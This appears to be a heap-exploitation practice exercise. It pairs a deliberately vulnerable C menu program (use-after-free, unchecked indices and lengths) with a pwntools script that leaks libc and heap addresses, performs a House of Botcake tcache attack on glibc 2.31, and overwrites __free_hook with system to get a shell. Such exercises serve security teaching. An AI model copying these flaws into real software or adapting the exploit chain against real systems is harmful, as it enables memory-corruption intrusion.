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#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
 
char *chunk_list[0x100];
 
void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}
 
int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}
 
void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}
 
void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}
 
void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}
 
void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}
 
int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
 
    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

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from pwn import *
p=process('./botcake231')
libc=ELF('/home/fuguang/glibc-all-in-one/libs/2.31-0ubuntu9.18_amd64/libc.so.6')
context.log_level='debug'
context.arch='amd64'
def menu(idx):
    p.sendlineafter(b'choice:',str(idx))
def add(idx,size):
    menu(1)
    p.sendlineafter(b'index:',str(idx))
    p.sendlineafter(b'size:',str(size))
def edit(idx,content):
    menu(3)
    p.sendlineafter(b'index:',str(idx))
    p.sendlineafter(b'length:',str(len(content)))
    p.sendafter(b'content:',content)
def show(idx):
    menu(4)
    p.sendlineafter(b'index:',str(idx))
def dele(idx):
    menu(2)
    p.sendlineafter(b'index:',str(idx))
#leak libc 并清除所有chunk
add(0,0x410)
add(1,0x410)
dele(0)
show(0)
p.recv(1)
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x21ace0+0x2e100
print(hex(libcbase))
add(0,0x410)
dele(1)
dele(0)
#利用largebin leak heap 并清除所有chunk
add(0,0x410)
add(1,0x410)
add(2,0x410)
add(3,0x410)
dele(0)
dele(2)
show(2)
p.recv(1)
heapbase=u64(p.recv(6).ljust(8,b'\x00'))-0x290
print(hex(heapbase))
add(0,0x410)
add(2,0x410)

#botcake
for i in range(4):
    dele(i)
for i in range(9):
    add(i,0x80)
add(9,0x10)
for i in range(7):
    dele(i)
dele(8)
dele(7)
add(10,0x80)
dele(8)
add(11,0xb0)
freehook=libcbase+libc.sym['__free_hook']-8
heap=heapbase+0x720
xored=(heap>>12)^freehook
edit(11,b'a'*0x88+p64(0x91)+p64(freehook))
add(0,0x80)

add(0,0x80)

sys=libcbase+libc.sym['system']
edit(0,p64(0)+p64(sys))
add(1,0x8)
edit(1,b'/bin/sh\x00')
print(hex(freehook))
#gdb.attach(p,'b *$rebase(0x1393)')
dele(1)
#gdb.attach(p)
p.interactive()